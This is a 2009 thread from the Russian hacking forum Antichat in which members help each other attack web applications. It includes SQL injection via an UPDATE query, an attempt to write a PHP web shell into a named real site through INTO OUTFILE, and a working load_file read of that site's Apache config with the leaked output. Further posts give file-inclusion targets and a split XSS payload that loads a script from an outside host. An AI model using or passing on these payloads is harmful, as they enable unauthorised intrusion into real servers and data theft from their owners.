HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 04.12.2009, 12:44
[ DSU ]
Участник форума
Регистрация: 22.10.2007
Сообщений: 159
Провел на форуме:
721727

Репутация: 397
Отправить сообщение для [ DSU ] с помощью ICQ
По умолчанию

Цитата:
Сообщение от [R]eD  
Как можно использовать union select ... если запрос идет в UPDATE?

Тоесть например
PHP код:
UPDATE `newsSET `title` = ' _тут не фильтруемая переменная_ ', `date` = '' ... 
thx.
что за бд?

Если Oracle там можно использовать конструкции по типу
Update table set column=(select user from dual)

Последний раз редактировалось [ DSU ]; 04.12.2009 в 12:47..
 
Ответить с цитированием

  #2  
Старый 05.12.2009, 16:06
[R]eD
Познающий
Регистрация: 01.08.2006
Сообщений: 35
Провел на форуме:
94171

Репутация: 3
По умолчанию

Цитата:
Сообщение от [ DSU ]  
что за бд?

Если Oracle там можно использовать конструкции по типу
Update table set column=(select user from dual)
К сожалению mysql... Есть какие-нибудь другие способы вывести данные?)

Последний раз редактировалось [R]eD; 05.12.2009 в 16:09..
 
Ответить с цитированием

  #3  
Старый 05.12.2009, 16:24
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147

Репутация: 211
По умолчанию

Цитата:
Сообщение от [R]eD  
К сожалению mysql... Есть какие-нибудь другие способы вывести данные?)
почему к сожалению?
 
Ответить с цитированием

  #4  
Старый 05.12.2009, 16:24
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Цитата:
Сообщение от [R]eD  
Как можно использовать union select ... если запрос идет в UPDATE?

Тоесть например
Код:
UPDATE `news` SET `title` = ' _тут не фильтруемая переменная_ ', `date` = '' ...
thx.
Очень просто, к примеру запрос:
Код:
...
mysql_query("UPDATE `news` SET `title` = '".$_POST['title']."', 'text' = '".$_POST['text']."' ");
...
При вводе
Title
Код:
test title
Text:
Код:
test text
запрос в БД будет

Код:
UPDATE `news` SET `title` = 'test title',  `text` = 'test text'
Если же сделать такой ввод:
Title
Код:
test title', `text` = concat_ws(0x3a,user(),database(),version())/*
Text:
Код:
test text
В БД пойдет запрос:

Код:
UPDATE `news` SET `title` = 'test title', `text` = concat_ws(0x3a,user(),database(),version())/*', `text` = 'test text'
И в тексте новости будет юзер, бд и версия.

PS: Это будет работать при magic_qoutes = Off.
 
Ответить с цитированием

  #5  
Старый 04.12.2009, 16:53
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147

Репутация: 211
По умолчанию

коротко:

File_Priv: Y
magic_quotes_off
Сервер:Apache/2.2.3 (Red Hat)
проблема: немогу раскрыть путь...

конструкция:
http://www.gsmtrack.nl/index.php?page[]=
недала нефига(

http://www.gsmtrack.nl/index.php?page=navi_merken&action=navigatie&id=-1+union+select+'%3C?php%20system($_GET['cmd']);%20?%3E'+into+outfile+'/var/www/'--

тут понятно тоже што нефига невыйшло так как путь.....

вообщем вся загвоздка в том што немогу путь раскрыть и (или) загрузить конфиги хотябы)...
 
Ответить с цитированием

  #6  
Старый 04.12.2009, 17:17
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Код:
http://www.gsmtrack.nl/index.php?page=navi_merken&action=navigatie&id=-1+union+select+load_file('/etc/httpd/conf/httpd.conf')--


<VirtualHost 213.206.88.15:80>
ServerName www.gsmtrack.nl
ServerAdmin webmaster@gsmtrack.nl
DocumentRoot /opt/guide/www.gsmtrack.nl/HTML
 
Ответить с цитированием

  #7  
Старый 04.12.2009, 17:39
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147

Репутация: 211
По умолчанию

Цитата:
Сообщение от Pashkela  
Код:
http://www.gsmtrack.nl/index.php?page=navi_merken&action=navigatie&id=-1+union+select+load_file('/etc/httpd/conf/httpd.conf')--


<VirtualHost 213.206.88.15:80>
ServerName www.gsmtrack.nl
ServerAdmin webmaster@gsmtrack.nl
DocumentRoot /opt/guide/www.gsmtrack.nl/HTML
прикол) я пробовал так...
http://www.gsmtrack.nl/index.php?page=navi_merken&action=navigatie&id=-1+union+select+load_file('/etc/httpd/conf/httpd.conf')/*
и у меня нераскрылось) спасибо!

но к сожалению
/opt/guide/www.gsmtrack.nl/HTML закрыт на запись из веба и /var/www/html тоже...

ты путь по конфигу вычислил?
 
Ответить с цитированием

  #8  
Старый 04.12.2009, 18:38
schwarze
Познающий
Регистрация: 01.12.2008
Сообщений: 68
Провел на форуме:
484662

Репутация: 143
Отправить сообщение для schwarze с помощью ICQ
По умолчанию

Вопрос такой:
Windows. Xampp, Mysql
Php-inj include($file.".php")
Инклудить пхп файлы (конфиги) никакого эффекта не дает - они интерпретируются.
Инклудить логи не возможно - они настолько велики, что страница не успевает "показаться" за 600 секунд. (даже error.log)
И сам вопрос - чтоб такое проинклудить?!
 
Ответить с цитированием

  #9  
Старый 04.12.2009, 19:04
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Цитата:
Сообщение от schwarze  
Вопрос такой:
Windows. Xampp, Mysql
Php-inj include($file.".php")
Инклудить пхп файлы (конфиги) никакого эффекта не дает - они интерпретируются.
Инклудить логи не возможно - они настолько велики, что страница не успевает "показаться" за 600 секунд. (даже error.log)
И сам вопрос - чтоб такое проинклудить?!
Если allow_url_include, то
Код:
http://google.com/?
Если нет, то
Код:
/proc/self/environ
Или автарки форумов, и тд...
Об этом уже писалось тут...
 
Ответить с цитированием

  #10  
Старый 05.12.2009, 00:02
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418

Репутация: 386
По умолчанию

Есть 2 таблицы в бд с максимальным размером в 20 символов в каждой, вывод с них нефильтруеться т.е. если я в одну таблицу помешяю <script>alert('x')// а во 2 </script>
в итоге я получаю алерт а в сурсе я вижу такое
Код:
<script>alert('x')// (Password: </script>
мож нает какой вариант прокатит в этом случае, придумал разбивать скрипт и коментить левое выходит примерно так:
Код:
<script src="http:/* (Password: *///1.ru:73/1.js">
но скрипт то невыполняеться при таких условиях
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ